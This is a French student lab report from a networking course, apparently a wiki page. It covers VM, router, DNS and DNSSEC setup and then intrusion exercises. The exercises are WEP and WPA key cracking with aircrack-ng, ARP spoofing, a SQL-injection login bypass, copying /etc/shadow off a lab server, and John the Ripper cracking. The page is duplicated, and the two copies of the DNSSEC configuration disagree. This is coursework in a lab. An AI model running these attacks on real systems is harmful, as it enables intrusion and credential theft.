Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (pas encore fait)==

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here

zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T22:48:26Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (pas encore fait) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (pas encore fait)==

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here

zone "trompettedelamort.site.signed" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
